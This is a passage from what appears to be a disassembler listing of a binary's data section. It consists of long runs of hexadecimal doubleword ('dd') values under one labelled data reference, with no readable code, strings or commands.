		dd 0F696D117h, 0CE60FCA8h, 7AB10040h, 80772E8Ch, 78A0BFE8h
		dd 0A61D72C6h, 0B01FB1D0h, 0F4DA6501h, 48244AB6h, 4BBA0258h
		dd 0FF92CDC6h, 5954915Dh, 0E518D02Bh, 0BE1E15EDh, 0E4AF4FA5h
		dd 79040058h, 94D54644h, 0D607D3D0h, 0A288D4A3h, 0DA332973h
		dd 0FAB064CFh, 18E9C63Ah, 731241FCh, 5CC06F62h,	4A7D2EBEh
		dd 0B9DCD5D6h, 7942156Ch, 9B057DE4h, 0DE15D8E9h, 0E3C19C59h
		dd 2357839h, 0BCDCFC59h, 0FA268CE9h, 8B3B387Bh,	82D28D92h
		dd 8AE5150Ch, 4674D4C8h, 4C760EEBh, 7B8CE0A5h, 0BE777F12h
		dd 0C17241DCh, 4403F94h, 0BBDE37F2h, 154EA52h, 0CDFCFD21h
		dd 700B01D9h, 0EF4D62A5h, 5ACA0890h, 2B9206h, 1BC353FCh
		dd 8D28E4CDh, 10F18494h, 52FF1AD5h, 0E910B07Dh,	0C6E5ED2h
		dd 0FBB7B201h, 5743A199h, 590808E8h, 7D4C89CEh,	9D44D87Ch
		dd 3EBBF040h, 7EF1245Fh, 9800147Ah, 0FEFB488Ah,	0EE122393h
		dd 0D4B6B8B6h, 0B4526AE0h, 0EE8E900h, 0BC0AAE02h, 32FE3Fh
		dd 36164EE4h, 61E0078Eh, 80D83059h, 0BF37BACEh,	18659DD5h
		dd 0BAB7E380h, 40FC88D7h, 0D544CA05h, 0F4069DC6h, 430F893Bh
		dd 2F318AC4h, 0A3FB80C5h, 0FAFC7FA6h, 13DC946Ah, 0F288E2E0h
		dd 36CE300Eh, 1C4F190Fh, 0B5740033h, 9442590Dh,	12D404FCh
		dd 0D00ABBC7h, 0C544D4A8h, 89032A40h, 1F60BA5Bh, 0BC062C44h
		dd 0D0645F1Ch, 29EB7968h, 96C4480h, 23AA68FCh, 0F97C4B8h
		dd 11CB9427h, 537B6238h, 0E2F58500h, 27DA3F54h,	2C188177h
		dd 0DA2A1341h, 7469C360h, 375E88C8h, 0E4B116D8h, 23781748h
		dd 310B9120h, 587362FDh, 0FCB900B0h, 0CCF425A4h, 0A74FE875h
		dd 727F6444h, 24C7D4B8h, 0E66461E1h, 0A041C218h, 349B2A39h
		dd 2C5FFD80h, 13FEB867h, 0F7B5EC00h, 0F14F2BC3h, 65A109C1h
		dd 0C74A8D9h, 0DB9E8340h, 0F8B90060h, 0A7F613BFh, 8B00EFD2h
		dd 0ED40A434h, 3EFC4633h, 0ECCC2BACh, 262FE13h,	426B1E27h
		dd 6F5BA850h, 4C51ECB2h, 10007ADAh, 5A120D80h, 0E223E02Fh
		dd 0AA898E00h, 161E33h,	71D3E54Dh, 1AA2E1CFh, 72312902h
		dd 0FA9E0362h, 0FB14203Ch, 9712D517h, 97F144B0h, 76E2A845h
		dd 0CDCC1886h, 6CA0604Bh, 0F14A257Ah, 84ADEC1Bh, 0E810ECD0h
		dd 94008CF0h, 7CED9598h, 32BD05Bh, 7056C80Ah, 90FCAA50h
		dd 74319460h, 8BC74A11h, 9F70F628h, 8CB90490h, 0E6F37A02h
		dd 0A1EB4822h, 0D5B7B5ECh, 7F8F42D8h, 7316001Eh, 121B673Fh
		dd 6E3F2814h, 0B4D05EF5h, 1F7BF9BFh, 0D3221A4Bh, 13ECE052h
		dd 0DCBC04E9h, 168C36BCh, 0E45AA9AFh, 6200FB7Ch, 8FC838BEh
		dd 38A20FDCh, 0A404EDC9h, 0EBE4CE0Ch, 0C77F7072h, 61EFE4B4h
		dd 9D9A881h, 58A54C21h,	0EDD94079h, 74FE0218h, 0D10A6927h
		dd 0F93C093Ch, 16433844h, 1949E901h, 64185933h,	17BF14C4h
		dd 80EF114Ch, 1DDCDE87h, 224827F9h, 29827040h, 7E49BC94h
		dd 80454558h, 74D651F6h, 76310900h, 93901B7Eh, 0EA3076A6h
		dd 0F6C717E8h, 0B2EC8C1Ah, 0CC92581Eh, 894B420Bh, 0D16C7990h
		dd 0B7721834h, 78161003h, 3DCCF1B0h, 0EF0D24B4h, 0D02A6003h
		dd 124BAAC0h, 0AFED2005h, 0A842A994h, 500EBEFEh, 4ACF01BCh
		dd 0B02EA56Ch, 90C86FC3h, 0FB854036h, 880E7068h, 1696C602h
		dd 0CC145DDCh, 20E73C2Dh, 0EF4AFD5Ch, 186C9D8Ch, 0C20F0800h
		dd 4B1FB185h, 725F2A09h, 4E4300C4h, 1CD4113Fh, 0AFF8C62Ah
		dd 414880A4h, 2F208098h, 0C1171A8Eh, 23D45340h,	642F6E2Dh
		dd 7C801023h, 3B83EDB0h, 8F8BED1h, 0E100F8DEh, 7A17AC93h
		dd 2C987603h, 9374E5CEh, 59588CA3h, 62803494h, 0F826EF68h
		dd 8C700Bh, 6FDC972h, 0D627712Fh, 317EE901h, 42A5866Ah
		dd 3AD103EBh, 0A6E69CC8h, 3E735C88h, 830E26F4h,	0B2340D0Ah
		dd 1BAA4404h, 0F53F2B01h, 127D1064h, 0C0934D73h, 0EED8F609h
		dd 8EC07CDEh, 13ADFCCAh, 13C2721Ch, 0AA589068h,	0EB3B0A34h
		dd 55F20BB9h, 4747139h,	0ECC36A73h, 27421290h, 0E6680020h
		dd 0DC7B8226h, 16CB5ADh, 8D844916h, 928468BBh, 0F0BC00ACh
		dd 0F386018Ch, 0B00EBF66h, 348C399Eh, 20F87472h, 12B92480h
		dd 8C00E83Bh, 667D4833h, 7159741h, 0CCFDB1EFh, 0F71A9007h
		dd 25001CD0h, 9BFC2ACAh, 0F21FA413h, 75C2272Ch,	0EEE498C5h
		dd 0E81D9160h, 0C44FE205h, 0B4205AC9h, 7BFFD4h,	758BAAD2h
		dd 0BB8FE96h, 0A0E16200h, 0E87ACE94h, 7C91BFh, 0D8D4DB2Eh
		dd 6CB82561h, 0C5E26CB4h, 0A8F9130Eh, 0CC270ED5h, 7B21D4F0h
		dd 41C2C84h, 5F1DEBBh, 0F8CDB493h, 8F22F07Dh, 82EA81Ch
		dd 24ACC82Dh, 0C492976Fh, 9E101C18h, 0DCFD30C4h, 3F018502h
		dd 93209857h, 3B7F5BD6h, 1050488Ch, 0FC02E84Ch,	60FB1902h
		dd 80C83C62h, 3EF3EA3h,	64F189F9h, 0FAB4A46Ch, 1EC06820h
		dd 119C910Ch, 3E531D96h, 64959305h, 0F0F6C4B7h,	8D03A5Bh
		dd 0A7B80D5h, 3E7DFB4Ah, 0B39841C0h, 0DCE314BEh, 2D3F5407h
		dd 6C25D9A8h, 85788C15h, 0BB16302h, 0DCBEAB9Bh,	421A80DCh
		dd 10C3D16Bh, 7DF53858h, 0F30B3F00h, 0F12691FCh, 1C2F00B3h
		dd 55CB79ABh, 0C603635Dh, 85B0A9E0h, 0B494F102h, 0F4932180h
		dd 0F0733218h, 0D55BA91Fh, 80BF5A09h, 42B46894h, 0BC98A89Bh
		dd 9A570025h, 856FA527h, 0CC005210h, 0A8F25DFAh, 1699C3Dh
		dd 671CA4D6h, 0CC3823CFh, 915ABB3Ah, 0E30A2800h, 2547CC7h
		dd 567298CBh, 24781E5Fh, 98D078h, 974847Ch, 43818800h
		dd 0DFFFFBAAh, 3F680AA1h, 8280284Ch, 12F63227h,	77BF9490h
		dd 0D0E34039h, 0B1CCB3BCh, 44791093h, 34011B92h, 39A3EBA6h
		dd 0F45413E3h, 2828900Ah, 8F2AFBD0h, 0FB303586h, 407CB458h
		dd 73E3EF74h, 69E4AC0Eh, 0B4049663h, 0FA0F8666h, 3237DFE1h
		dd 27405AEAh, 67384174h, 0D2B73980h, 2768C08Dh,	0A7211D09h
		dd 0BE48E842h, 9808C9DAh, 563AB879h, 7C80B03Ch,	0FC59C2B7h
		dd 0F87A2C68h, 1612F71Ah, 90341531h, 2FBC5Eh, 82D258BDh
		dd 0BE270555h, 0CC3224Bh, 9DA5A8E2h, 406713BFh,	4825101Ch
		dd 91BCAD74h, 13F6B062h, 0EB98A84Ch, 7F014061h,	91F37B33h
		dd 68D0C5CAh, 0CAF7E23Ch, 1054C561h, 81968885h,	0E80669A5h
		dd 99462A4h, 793BCE3h, 59238ECCh, 5F379054h, 9887120Ch
		dd 18704029h, 27BD4539h, 140018BFh, 73633E77h, 9420F429h
		dd 4C9EBC6Dh, 0D230970Fh, 80B59C92h, 531C8C34h,	0B644F822h
		dd 3ABE8E3Ch, 0B05CFB6Bh, 9D6C4057h, 0A1339F34h, 0FC580894h
		dd 4987C04h, 0B4C117C6h
		dd 108CA98Bh, 4308AF77h, 0C418F063h, 70810FCh, 7D2910FFh
		dd 3154F610h, 8F0C295Ah, 9C6B388Ch, 0A440BE08h,	0F8A0404Ch
		dd 6B281363h, 20081037h, 42C71005h, 1823A710h, 9530AEB8h
		dd 7408CE8Dh, 5C7B1818h, 14F508C4h, 4082D04h, 2E046702h
		dd 34E50471h, 0C16FA04h, 4093D1B3h, 56403F63h, 673E408Eh
		dd 40161A40h, 0F740312Bh, 33B9CA2Ah, 892B69Ch, 205F5C31h
		dd 8BEE8EEh, 0E32066A0h, 2963321Eh, 0C50306E9h,	0BC38318Ah
		dd 34DA421h, 3118F686h,	0C708A191h, 9D188C43h, 40F7086Ah
		dd 9766A244h, 20F16020h, 520F63Ch, 74932025h, 0BF90E754h
		dd 401D4C40h, 69C87340h, 91B68CDEh, 99CC7108h, 6429212Eh
		dd 933930F3h, 49159108h, 44EC96DBh, 0A8A95580h,	0DEA19859h
		dd 81E3D731h, 830AC68Ch, 0D088A822h, 18D0ACB4h,	0E91063B3h
		dd 0E008106Dh, 0BCA62A21h, 86BCB32h, 1F004860h,	31F080E7h
		dd 80F22F80h, 298080C6h, 512B81F1h, 8CA2828Ch, 8AD8538h
		dd 2799405Bh, 19B69C4h,	976A804h, 0F6C226Ah, 589D0247h
		dd 27C0202h, 8CA40AA0h,	1DB50416h, 0A8C9910Ch, 40116040h
		dd 9CA86CE2h, 8C4EFEDh,	0B2046F49h, 0B8A50A28h,	87EA488h
		dd 870829DDh, 0F45E0CF0h, 51CA0608h, 0AC98E4CCh, 80050EA9h
		dd 48C493CDh, 7C046ECBh, 19F00475h, 0C5CC004h, 40023957h
		dd 2C62B165h, 22E3408h,	1B03FAD6h, 4561204Eh, 209EA320h
		dd 78625560h, 2F33CF1h,	10022D17h, 35EF02FDh, 15984B07h
		dd 0AA10A0E8h, 69310E5h, 0C4F9B631h, 37B0141h, 1724701h
		dd 2F023897h, 9329BC49h, 2C4916B1h, 1E00234Ah, 0BF101085h
		dd 0B9913264h, 5F84A24Ah, 19F0067Ah, 3164F149h,	87FFA120h
		dd 26A01088h, 0C4C4513h, 12C9217Eh, 90BD810Dh, 96E2CCC4h
		dd 0E1AB312Fh, 0BEE06158h, 10B06F09h, 109DE4E0h, 74026093h
		dd 291DE07Dh, 98A0575Eh, 76A42A92h, 7CE2D500h, 0FC5102BDh
		dd 5F10209h, 5994A7FBh,	98B0B8C6h, 1F805A2Eh, 8ED51A00h
		dd 0FDD9C279h, 0E1F92080h, 55A98F1h, 0F00BB400h, 126BA92h
		dd 5FAD0BDDh, 64A031F4h, 616D8594h, 78A0865Bh, 84B9747Ch
		dd 4BDA7500h, 0D2468808h, 4A1E2C42h, 41919CA8h,	3DDA65A2h
		dd 8085E945h, 50D98D30h, 3C4140Bh, 0DDCC2DFDh, 6FF35FBFh
		dd 0D32E3800h, 30908135h, 0B80B004Ah, 3EA73B1Dh, 7A0FEA69h
		dd 0AA8EA4h, 89A5FC5Eh,	0BB7405BCh, 808B9ACBh, 956AE1D8h
		dd 0C1C4F181h, 0C0DD598Eh, 0C4402458h, 5913C7Dh, 1168A518h
		dd 262AA7B2h, 2F0C9CF9h, 0B0AD4EBEh, 0D9F42Ch, 2D841698h
		dd 7C42BF26h, 77805652h, 383F9A33h, 80C1C2CBh, 0AAF1E9C4h
		dd 1628A825h, 0BDB89E5Eh, 920D9B4h, 4C74918Ch, 1828A78Ah
		dd 26607B00h, 78F1C1E7h, 20C91ACDh, 608288A7h, 4880146Dh
		dd 9444BF24h, 0D0D07828h, 9DA12C14h, 4D5F0DF1h,	8EF0501Bh
		dd 186F0126h, 5AE908C5h, 148C289Ah, 1084997Dh, 50764BFEh
		dd 0C0BC6C51h, 84061CA0h, 8E085D79h, 3C9B85Ah, 0B705E973h
		dd 365F38B0h, 0E1688AEDh, 201E68BBh, 0F17284C6h, 4224B60h
		dd 0B44E354Ch, 3C16A20Ch, 9CE04B94h, 5A7B1C97h,	0C8EA3Bh
		dd 42B4FAB6h, 16EAC256h, 0CC721E0Eh, 403C4D1Dh,	478083E2h
		dd 0FE21004Ah, 56FCCF59h, 4260BD5Fh, 0C43B290h,	131F626h
		dd 93E25090h, 0E87F534Fh, 0CCB96C2Fh, 1C099912h, 0C45AC2h
		dd 46F1D1E1h, 1F0321A8h, 56DA7425h, 0E0A00094h,	0E172D3CDh
		dd 0B9E30501h, 0EA3E4291h, 80BA3994h, 21840EC0h, 8D15CC9Eh
		dd 2518E972h, 0E22807ABh, 0E61D5CF0h, 49900123h, 5916A658h
		dd 0ED32707Ah, 3884FA04h, 2C933F17h, 0D000EDC9h, 0EE1C8161h
		dd 0E311C185h, 44A491C0h, 31D858FCh, 8190C96Fh,	6BD35A14h
		dd 108700ACh, 2D1F0D0Eh, 0F98A3FC4h, 8C5A8D8Eh,	5485B8D8h
		dd 0C715FA1Ch, 495D8Fh,	0AD24AAB4h, 3F5CB02Dh, 0DB24BE45h
		dd 2EF6098Ch, 20DD5811h, 7C90E8C0h, 57A14210h, 0CD60FF31h
		dd 0F51884FAh, 54A8115Ah, 1950872Ah, 30E57D42h,	171081A0h
		dd 15C5D994h, 48943432h, 0FBC21277h, 60A458F3h,	0E09055A1h
		dd 615AF20Ch, 25A4C9A0h, 5C415B5Fh, 6415D016h, 8905923Dh
		dd 0F0185925h, 7C90A4h,	0FF26749Dh, 2A1B54AAh, 0D4B5D313h
		dd 507A801Bh, 0F08C2C40h, 0B30F4069h, 0AC6A9412h, 6B221800h
		dd 0C77DD03h, 0CF875939h, 16242358h, 0C041F865h, 0F06CDC94h
		dd 82BC5700h, 5AF7D153h, 0CC0C8828h, 0F5008575h, 423F3A2Ch
		dd 620594A6h, 0A12D3012h, 4FC09862h, 0E000130h,	0A87C9282h
		dd 305ABA9h, 94385493h,	9001D42Bh, 17247023h, 0C8203572h
		dd 0F70D02D5h, 0D454BEC1h, 7C0DC85h, 496614A4h,	0B9E1E422h
		dd 96245C44h, 5F053463h, 0C800E728h, 3FD985C0h,	7D309075h
		dd 814B2469h, 7CCA0060h, 287205F9h, 9AFCD309h, 0E36C90C1h
		dd 36A324CBh, 0D085829Ch, 4C489921h, 0EC9EA159h, 0F04B2C0Ah
		dd 48332A42h, 1274B6ACh, 2727A7BFh, 0CC4A2430h,	53401EB8h
		dd 4D352ACDh, 72251220h, 0A8B42291h, 1DC4E860h,	0BB948424h
		dd 29799020h, 0C8BDAC32h, 0BA6F20D7h, 16026515h, 38022DF9h
		dd 0FC9041D1h, 5A89060h, 343DFB25h, 42A003E9h, 80011C35h
		dd 799DB918h, 1630F966h, 23D600BAh, 35E79CC2h, 7C01CBF1h
		dd 4F8695B3h, 0C0CB5133h, 38D3C6BBh, 0E2000E04h, 0B66CE98Bh
		dd 790CFE25h, 0F0FFE05Ah, 0AAD40021h, 0E815E45Ch, 0AE167443h
		dd 0C4C17B5Fh, 0CC48D193h, 84E21Eh, 5E1A0148h, 685B56CEh
		dd 8C520500h, 7987585h,	0BEE10DDFh, 20C0F46Dh, 0D449A808h
		dd 0BD5212DCh, 90000835h, 39FCEE2Fh, 945E1C27h,	489C2846h
		dd 0FD075025h, 0C39C93D6h, 1800B457h, 10586930h, 2AD3CBh
		dd 4CE05DC6h, 5AC98ED4h, 68CF9CF6h, 0A903491Eh,	1D8C00DCh
		dd 0A161C7B8h, 9CFD9408h, 62162001h, 0C0E1121Ch, 60C54C24h
		dd 5909E0F9h, 9C010127h, 0C2C43820h, 0FCC30460h, 22BCC959h
		dd 579D18FBh, 42DA58B5h, 18664134h, 40133C88h, 0ED00203Fh
		dd 0B5563291h, 0A01CBABEh, 0A929E94h, 9D3A3DADh, 0CB7688FCh
		dd 4C91E10Ah, 58A84426h, 0A2FC210h, 3C068E6Bh, 0C900B165h
		dd 0B4CFA7FCh, 0A4CB3794h, 0B6F901A8h, 2B5A2E1Dh, 7BD03733h
		dd 4939C448h, 8CDC1AD0h, 0B8A08071h, 53431E30h,	161490E2h
		dd 0B53C385Bh, 21D0045Eh, 94C08068h, 94921C82h,	0E99D7909h
		dd 50C8832Bh, 4E781406h, 65012493h, 189240FCh, 5140CEE1h
		dd 9606F856h, 62FB5A68h, 16271430h, 734C3866h, 28AA9400h
		dd 18B334FDh, 0BD8DDC04h, 2C90D9ADh, 0A9A8589Dh, 98403EF8h
		dd 40905FB6h, 9898B4C1h, 0E32E6842h, 75A40524h,	0AA3882DAh
		dd 9880FF04h, 90B6F367h, 0FC71127Ch, 0F9D041E9h, 2CBDBEh
		dd 30B5BAAh, 94DFD92Eh,	7800E502h, 0C79D9E92h, 0F8271F26h
		dd 0F01E647Eh, 0C079852Bh, 0C84FB274h, 0E422422Ah, 89B8E13Eh
		dd 72E85234h, 2804A070h, 2BB68056h, 0C70D4B00h,	23AA919Bh
		dd 4E181206h, 0CCF400D0h, 0A717C498h, 1E715302h, 0E02B3090h
		dd 14788465h, 0A49C4ED4h, 3AFE6401h, 0F1591DAAh, 0B0482849h
		dd 0C09BA89Dh, 82D94EC8h, 6A38DD3Ch, 91BE135Ah,	5D18DCA0h
		dd 6474FC9Ch, 88BCC1EBh, 92422510h, 0BE0C993Eh,	1A3810DFh
		dd 4E94520Ah, 118094C0h, 3B039B9Ah, 79E42Eh, 56B558ABh
		dd 7F9D6842h, 4628EB60h, 6970D9BCh, 0DC00B132h,	48152E12h
		dd 0BB453001h, 84B3F025h
		dd 80FFC847h, 0A5856958h, 2CC700D0h, 9D99CA42h,	2BE6CF3Fh
		dd 5A61FD06h, 58B0DA22h, 0FB142CCBh, 0C098F0D9h, 0E97A0C80h
		dd 0C3C0E248h, 2CCE60BEh, 0A494A4C8h, 12C128DCh, 0C903A2C1h
		dd 0D5784174h, 44388789h, 3CA1CBEFh, 0FFEF4716h, 94BAE0B0h
		dd 0A418920Ah, 826A705Ch, 0EC1DA4A1h, 0AD79882Ah, 5ACF0F0Eh
		dd 0D504C316h, 1CD0B849h, 0E0E46FCDh, 8E3C88h, 0DA0CE242h
		dd 5F2522D3h, 0FB9C02ACh, 1F185BF9h, 0B2C48090h, 0B15F4050h
		dd 0D25C494Ch, 0E12E4883h, 0F4507CA6h, 1FF4B4h,	6716D358h
		dd 2720C098h, 9090594Fh, 25E7EFC9h, 44B210B9h, 97F8A084h
		dd 7D61809Ch, 8225CDABh, 0AE3089B5h, 3874E9C8h,	17BE2C48h
		dd 24851E24h, 6F2C70CCh, 0E00DFE3h, 4E2CB226h, 241E93F6h
		dd 51D1A9Eh, 0C0C9F291h, 0F4C7180Bh, 5CFBE12h, 3400E056h
		dd 0AD5AE93h, 5DA5122Ch, 3F894F9h, 0FD81BE0Ch, 246B3000h
		dd 0E102B512h, 359801BFh, 5F2FDAEFh, 659C50BBh,	0E903D404h
		dd 0E4BE2B73h, 5F6902E8h, 0A1CA0C9Bh, 28CDAC69h, 1DB105A8h
		dd 5098C373h, 16CC4020h, 0E729582Eh, 9B32F100h,	48365F23h
		dd 6980B87Eh, 1E8168A6h, 0E324E8B0h, 3603183Ah,	98D3344Dh
		dd 1DA3269Dh, 0A70C7139h, 0DED1D420h, 0C2E6B73Dh, 2654E500h
		dd 2D252737h, 7A1C1ABEh, 0C011B186h, 0CCB08E7Fh, 0F8518994h
		dd 4CA9C470h, 0DF80209Bh, 570B021Fh, 62D8BEABh,	0D098A87Dh
		dd 0A5FAF900h, 0B537023h, 5914AD07h, 0C29CB0Bh,	6118C87Ch
		dd 16ED98D9h, 1EA62F1h,	0E83FB734h, 846732h, 0C9438436h
		dd 0C93F0AC2h, 8803080h, 1CA962A1h, 0C47C20C9h,	5A2A1230h
		dd 59980572h, 320CEC44h, 4092D8D6h, 941974h, 5885BED9h
		dd 0F99A9886h, 5FA5D504h, 0D8D01F11h, 0DD24F894h, 7DBFC050h
		dd 0B7471EDAh, 806828E5h, 0BE2FCF5Ah, 0FC84509Ah, 0AC4B802h
		dd 50C35FBCh, 0C23008E0h, 9A26C807h, 65689249h,	93283D4Ch
		dd 35C40D2Ch, 0ED28CC84h, 62742CE9h, 5147A2B8h,	1DCA04Ch
		dd 0B0E5309Dh, 406FCA94h, 0EAB44DD0h, 0A60BFC3Fh, 0B8895406h
		dd 46948324h, 0DBE811DDh, 0B37404F5h, 8823A7h, 30535105h
		dd 0FC209435h, 42F41BFh, 42C001F8h, 0E11AF3EBh,	136CF4A3h
		dd 0C6A1E409h, 1E94E092h, 37C1897Ch, 3D13E40h, 0BEF04911h
		dd 0F8B7BC4Bh, 0C97E9D0Ch, 7127FEC8h, 0F489E4h,	94F74CC0h
		dd 6AC404CBh, 0C414FA44h, 0BCB8E40Ch, 8F00BC96h, 635CA7A4h
		dd 2C1101FFh, 0E4CDB7FCh, 20FC6197h, 9634BE70h,	0D1780Ah
		dd 0C8707590h, 86861C6h, 80189CBEh, 0FD247020h,	245AF774h
		dd 0B87534h, 6648563Ch,	0FF01BB05h, 2798B362h, 0B4282340h
		dd 88C12613h, 0C9305944h, 3D2B3830h, 6B940E6Ah,	5A8C4291h
		dd 7A171DF0h, 0EC4026B9h, 0E333D9F6h, 28BE04B0h, 80E24B90h
		dd 1FC87190h, 4A9C1E48h, 64169C12h, 0E8B19462h,	8064127Ch
		dd 8397F4C9h, 271D08F4h, 78390580h, 38406A4Dh, 20E9371Eh
		dd 8E6200EFh, 7F757492h, 91162CCEh, 0D080DD94h,	7883713Dh
		dd 0DCF1585Dh, 7E729000h, 7F20E60Bh, 7DA0F91Eh,	651E55C0h
		dd 0CADD4C9h, 38615ACDh, 0B9247E80h, 0BE0CA4BDh, 4955010h
		dd 0A5943C2Bh, 1E30E48Ah, 0F5F31802h, 40A38EBBh, 23A4C4Ch
		dd 0A2FCB408h, 4879E4D0h, 517EBE1Fh, 1A65F0D4h,	5A71FD06h
		dd 42F170ADh, 741818BBh, 0C4943178h, 0F34A2A30h, 82A23E9Ch
		dd 5A5F3023h, 66A08937h, 0F22F255Ch, 1C420081h,	932100CFh
		dd 0CCB89Dh, 0EBB5DF73h, 0B21A837Ch, 2CD97D3Eh,	843EC453h
		dd 0D0AFD4E0h, 0FEAD6488h, 0A66F0026h, 0E2A98DD1h, 221225BCh
		dd 0A40FD09Dh, 0FA403DB5h, 48BF7CA7h, 0F3CC06AAh, 78108542h
		dd 0A294B40Ah, 580098DBh, 0F2C4B941h, 3A2800AAh, 8E8B7B0Bh
		dd 0C9305FB0h, 93313026h, 807905CEh, 0C8285A7Ah, 0FD1E9CD8h
		dd 9F89C962h, 0BEFC20DFh, 1E4DACA3h, 6EC45F01h,	0C216B70h
		dd 408F35BEh, 3077C1A0h, 4284C8B1h, 34D058A7h, 1AAA4DDh
		dd 0D03F8B24h, 0E02692E1h, 0FD3CA75Ch, 0B7BA1A80h, 0B6F46120h
		dd 0FA528017h, 7100F32Dh, 0B7CF5C7Dh, 0C0E70694h, 5A748FE8h
		dd 0A8C182FAh, 6B90BE30h, 0B0A7DC30h, 8878D6E0h, 9DA6BCh
		dd 25F622D8h, 0BE610D84h, 72305599h, 0BFF90054h, 0D528A72Dh
		dd 8B8D04FEh, 0FFB294h,	0DEBDC34Ch, 71421392h, 17E05335h
		dd 5948203Eh, 68C0DBD7h, 22D53241h, 6ADA003Dh, 5316FA5Eh
		dd 0CE09E92Eh, 98211Ah,	0F90E5614h, 0D57F021Bh,	0C91D5FBBh
		dd 0E3F8244Bh, 6A5C6D42h, 0B8CCC1C4h, 0DC6CC074h, 0CC2405C8h
		dd 0CC24244Ah, 8FA08h, 7C972316h, 0A000B7E1h, 15F527A9h
		dd 7187E35Ch, 7973265Fh, 3D308238h, 0B0E6A5BFh,	0C447BE1Ah
		dd 3AC46110h, 5B5925CCh, 28AC1FCBh, 288898ACh, 90A739h
		dd 6794455h, 0AF56085Fh, 0DDB468C2h, 0BAF88184h, 10E4A999h
		dd 0EBA534BEh, 2400D858h, 0A3004090h, 66EA42ECh, 178A8407h
		dd 253D460h, 0F1BE2ADCh, 0E21F287Ah, 4E0FB090h,	0CA0184D7h
		dd 0E3FD4091h, 939D8714h, 1A04A07h, 15022D43h, 2C94D255h
		dd 74D020h, 2F3ED31Bh, 0FAAD58D5h, 4D798903h, 0F822A2ECh
		dd 7BF5D16h, 9AF4DCF5h,	46585B2h, 0B4F1FC08h, 0D02F3D14h
		dd 603492ECh, 805829F0h, 9F079C21h, 0E9B222AAh,	721D61CEh
		dd 6C7D7009h, 0EBC81E78h, 172D87C7h, 78803921h,	0F441EF57h
		dd 879BE201h, 0DBFDFA24h, 0BD12030h, 3B88332Ch,	935D1480h
		dd 591311A5h, 70402AC6h, 0EC5AA486h, 2827022Fh,	8F6ABE24h
		dd 0ED8460Bh, 9132BDBCh
dword_4E414C	dd 9261C663h, 5A2508C6h, 27B0803Eh, 0C282F3BEh,	43B3FA38h
					; DATA XREF: ___:off_43A1C0o
		dd 0EC914940h, 8401F4B0h, 22C72A1Ch, 9880939Bh,	0EEB29E0Fh
		dd 73031E30h, 5F2A94FAh, 608DC4DDh, 250E0468h, 221341BFh
		dd 0D87E92A4h, 0D820A49Bh, 0B272B5F4h, 0DE8C3094h, 0CE044828h
		dd 10AC575Ch, 0C04CC5C0h, 61A510h, 41277C4Eh, 1266FED9h
		dd 9BDCCC9h, 30241871h,	47488188h, 6342E222h, 6490B064h
		dd 0BF4225h, 3EB8F0DCh,	3C45FA2Ch, 900622BAh, 0C9A35F1Fh
		dd 0BEFAF90Bh, 0C30C41B3h, 0F43C4BD4h, 0CA7215h, 0B4DDA25Eh
		dd 9888E55Fh, 0C92C290Eh, 0FC9E42DBh, 8C7CC0AAh, 8290D68Fh
		dd 0E845B71Ch, 8A292CFh, 0B302504Dh, 24A7B474h,	37B90E6h
		dd 28831681h, 79CC33E9h, 0B096B7E1h, 0BE2D4118h, 13489687h
		dd 8DD0886Ch, 0C0A1382Ah, 64BF48h, 0CEF4C225h, 9CFCF345h
		dd 0DB00EF18h, 56DFB5C8h, 0D9664A00h, 2120D3C0h, 0A6D131BEh
		dd 0D94E1D60h, 38507016h, 0C30E38D2h, 62905A7Dh, 90CF6078h
		dd 9C2205DAh, 0E64A54A0h, 588040C0h, 97E2158h, 50895F0Eh
		dd 0AC5919D8h, 70E08886h, 858310Fh, 8581018Fh, 0C8625F3Dh
		dd 0A9109C79h, 172C3E82h, 0B8C8F2D1h, 9D9E03BEh, 69CD4293h
		dd 8ECA1807h, 0FD9467A6h, 15BC0F2h, 0BB174630h,	78A83C23h
		dd 7DFB9B04h, 60979E9Dh, 0A82264C5h, 1A784093h,	0C4D90E94h
		dd 0B5A68415h, 4E008881h, 0FE8D8F3Eh, 123642AAh, 0F802A40h
		dd 4FE56ADCh, 0D47C80DFh, 320516B8h, 62CFA8FCh,	901DC0F5h
		dd 431EE841h, 0A4582472h, 0C22E4E02h, 3C609AFAh, 5400D358h
		dd 36567CAFh, 30252B7Eh, 68103251h, 69023813h, 16243D27h
		dd 0E7608463h, 5AE228F0h, 20D44CC0h, 952621F8h,	0A817E868h
		dd 91ACD0D1h, 3A70F901h, 30E00CC4h, 0A0FA3BF6h,	0C0A75FA8h
		dd 2A929158h, 610344A7h, 8F68D4FBh, 4C5CC0ACh, 0F2980058h
		dd 0B4CDAE74h, 0D80BBB42h, 4241A32h, 18001654h,	0C7C1C5CFh
		dd 6D29415h, 136721BCh,	42CC02E7h, 6C48E64Bh, 0A7002BB0h
		dd 0F8256256h, 90BDDC5Bh, 9C859DFFh, 0D9C8E032h, 0E4331A2Ch
		dd 0EFD64C2h, 0C81A52C9h, 0A7FF30E0h, 15AAA80h,	0CD5FF2C9h
		dd 4299FD94h, 68503FF0h, 0CCF62412h, 5820E48Dh,	58E760B4h
		dd 5BAA2E4Ch, 80150609h, 0DCEA03B7h, 0F8F606E1h, 902DB55Ah
		dd 0D1B01E60h, 2C6738E6h, 3A10F960h, 0FB75DB80h, 0EE837CBBh
		dd 1F25BD38h, 0B8E8371Ah, 3855EA25h, 9C611658h,	22BE442Ch
		dd 212C4020h, 0BA5F2F2Eh, 81617480h, 2F00F438h,	0A9A3F6E1h
		dd 4C9037h, 0D8289FE2h,	6D24291Fh, 0AA39B40Bh, 0E3E88012h
		dd 891557h, 0D4CC4BC6h,	0FE695F82h, 0E0B850C9h,	2D1DCB78h
		dd 0CC93E6B3h, 30F12EF0h, 69E3DC12h, 77B0C001h,	0C5603548h
		dd 92EE00D8h, 0BEFB416Ah, 0D494932Fh, 1723BC3Fh, 5833C00Ah
		dd 4FB00024h, 7CBF130Eh, 660E795Fh, 0DEAAE939h,	0DCB01800h
		dd 0ACC2C2Fh, 584694B4h, 5A383080h, 0B8A01A87h,	5F12B2B5h
		dd 28B36741h, 4446B800h, 160331F3h, 2305EBFEh, 9E212705h
		dd 0A058F080h, 0A4C700E5h, 0B86A572Fh, 0FB26EAA3h, 5832125Ah
		dd 82044A7Bh, 0F8616EACh, 145916ACh, 5B60401Eh,	9022C015h
		dd 0D8A17200h, 3FE16F67h, 0C961281Eh, 0E2EE8Ch,	24E66B96h
		dd 37CBED6h, 6D88B0BEh,	0A38E0190h, 70FF5B67h, 39013810h
		dd 0AAFA2EACh, 0A6C605BEh, 7A840A0h, 10DCF0ECh,	0E6C660A7h
